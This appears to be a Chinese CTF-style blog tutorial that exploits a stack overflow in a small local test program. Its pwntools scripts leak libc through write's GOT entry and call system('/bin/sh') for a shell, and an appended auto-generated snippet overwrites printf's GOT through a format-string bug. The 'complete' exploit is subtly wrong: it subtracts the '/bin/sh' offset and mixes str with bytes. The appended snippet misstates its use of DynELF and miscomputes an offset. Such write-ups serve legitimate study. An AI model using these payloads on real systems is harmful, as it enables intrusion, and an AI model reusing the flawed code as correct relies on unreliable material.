字符串溢出(pwn溢出)--ret2syscall

背景知识
1、rop:在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

2、gadgets:在程序中的指令片段,有时我们为了达到我们执行命令的目的,需要多个gadget来完成我们的功能。gadget最后一般都有ret,因为我们需要将程序控制权(EIP)给下一个gadget。即让程序自动持续的选择堆栈中的指令依次执行。

3、ropgadgets:一个pwntools的一个命令行工具,用来具体寻找gadgets的。例如:我们从pop、ret序列当中寻找其中的eax

 

本例中依然使用如下源码:

#include <stdio.h>
#include <unistd.h>
void readbuf()
{
    char buffer[100];
    read(0, buffer, 200);
}
int main(int argc, char *argv[])
{
    readbuf();
    write(1, "Hello, PWN!\n", 12);
    return 0;
}

但是这里只开启NX保护,打开ASLR

1a38b94cdd28495a95ced83a4bb73341.png

利用Ldd可以看到libc加载的地址是每次都有变化,没有直接找到system地址 

eb58b014c2b54bc79755ca3756fffbec.png 

 

 那么如何解决地址随机化的问题呢?思路是:我们需要先泄漏出libc.so某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,然后再执行我们的ret2libc的shellcode。既然栈,libc,heap的地址都是随机的。我们怎么才能泄露出libc.so的地址呢?方法还是有的,因为程序本身在内存中的地址并不是随机的

我们可以在溢出时调用函数找到libc的基地址,通过基地址就可以找到system和"/bin/sh"的虚拟地址,并且返回地址继续返回到readbuf函数中,然后再溢出到system地址中。

在本例中我们需要通过write函数打印出system的地址,然后传递给带有溢出漏洞的read函数供我们向上一节例子中讲的一样使用。这里面涉及到PLT表和GOT表的概念。PLT为内部函数表既偏移地址,GOT为外部函数表。PLT作为中间表连接call命令与GOT表,GOT表存储的是函数的真实地址

如何利用某函数.plt地址与.got.plt地址获得函数的真实地址,通常exp里会出现二次提交,这里举一个小栗子,可以算是一个常用的获取某函数真实地址的代码模板


#假设我们利用的是write函数,puts函数也可以
#假设漏洞函数是readbuf函数
 
payload = 'a'*112 + p32(plt_write) +  p32(readbuf_addr) + p32(1) + p32(got_write) + p32(4)
 
#'a'*112:用来填充的padding
#p32(plt_write):write函数的plt地址覆盖返回地址
#p32(read_addr):plt_write结束后的返回地址,上面的这部分exp只是得到了write函数的真实地址,
#                得到后若不返回read函数使程序继续保持运行状态,程序就退出了
#p32(1) + p32(gotplt_write) + p32(4):
#这三个值其实就是我们平常使用write函数时传入的三个参数write(1,got_write,4),第一个参数是1理解,为啥第三个参数是4呢,那是因为got_write这个长度是4,所以这里就当做固定用法就好

 

原理说完了,如下方式可以获取加载lib的地址,类似如上的ldd test2看到的值

from pwn import *
test2 = ELF('test2')
proc = process('./test2')

leak_payload = "A"*112 + p32(test2.symbols['write'])+p32(test2.symbols['readbuf'])+p32(1)+p32(test2.got['write'])+p32(4)


proc.send(leak_payload)
write_va = u32(proc.recv(4))转换为#uncode估计是为了方便减法
print "write va:" + hex(write_va)
libc_load_base = write_va - libc.symbols['write']# 基地址相当于write虚拟地址-偏移地址
print "libc_load_base:" + hex(libc_load_base)#还是打印16进制

找到libc的基地址,我们就可以找system和bin/sh的地址,函数地址可以通过symbols函数找到,bin/sh只能进行搜索

libc = ELF('libc.so.6')
system = libc_load_base + libc.symbols['system']
# 虚拟地址 = 基地址+偏移地址
print "system va: " + hex(system)
binsh = libc_load_base + next(libc.search('/bin/sh'))
print '/bin/sh:' + hex(binsh)

最后构造payload:

shell_payload = "A"*112 + p32(system) + p32(1) + p32(binsh)
proc.send(shell_payload)
proc.interactive()
#这里加个p32(1)是随意填充32位的字节换成“A”*4这种亦可

最后是完整的exp代码如下,这里面我不理解的就是pwn库获得的基地址和查找binsh字符串的时候与执行elf的时候的地址如何做到还能一样,也许pwn本身是一种调试机制,不过最终代码是可以执行使用了。

from pwn import *

test = ELF('test2')
libc = ELF('/lib32/libc.so.6')
proc = process('./test2')

leak_payload = b"A"*112 + p32(test.symbols['write'])+p32(test.symbols['readbuf'])+p32(1)+p32(test.got['write'])+p32(4)
proc.send(leak_payload)

write_va = u32(proc.recv(4))#获取十进制地址

print("write va:" + hex(write_va))

libc_load_base = write_va - libc.symbols['write']

print("libc_load_base:" + hex(libc_load_base))

system = libc_load_base + libc.symbols['system']

print("system va: " + hex(system))

binsh = libc_load_base - next(libc.search(b'/bin/sh'))

print('/bin/sh:' + hex(binsh))

shell_payload = "A"*112 + p32(system) + p32(1) + p32(binsh)#p32(1)任意填充4个字节

proc.send(shell_payload)

proc.interactive()

 执行后结果如下,可以看到elf程序和so文件的sec权限情况

7cf70f0ab9844e3cba5d45c1fd0afbbe.png

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
字符串拼接在pwn中是非常常见的,可以用于构造payload,实现漏洞利用。下面是一个简单的例子,演示了如何使用字符串拼接实现pwn: 假设有一个程序存在格式化字符串漏洞,我们需要构造一个payload来执行system("/bin/sh")。首先,我们需要获取system函数的地址,可以使用pwntools中的DynELF模块来实现: ```python from pwn import * p = process("./vuln") # 启动程序 elf = ELF("./vuln") # 加载程序 # 获取system函数的地址 system_addr = elf.sym["system"] ``` 接下来,我们需要构造payload。由于格式化字符串漏洞是通过将格式化字符串作为参数传递给函数来触发的,因此我们需要构造一个包含system函数地址的格式化字符串。具体来说,我们可以使用"%n$"来引用参数列表中的第n个参数,从而实现读取任意地址的数据。例如,"%12$n"表示将当前已经输出的字符数写入参数列表中的第12个参数所指向的地址中。 ```python # 构造payload payload = p32(elf.got["printf"]) # 将printf的GOT地址作为第一个参数 payload += "%{}x%12$hn".format(system_addr & 0xffff) # 将system地址的低16位写入printf的GOT地址 payload += "%{}x%13$hn".format((system_addr >> 16) & 0xffff - (system_addr & 0xffff)) # 将system地址的高16位写入printf的GOT地址+2 ``` 最后,我们只需要将payload发送给程序即可: ```python # 发送payload p.sendline(payload) p.interactive() # 进入交互模式,可以手动输入命令 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

莫慌搞安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值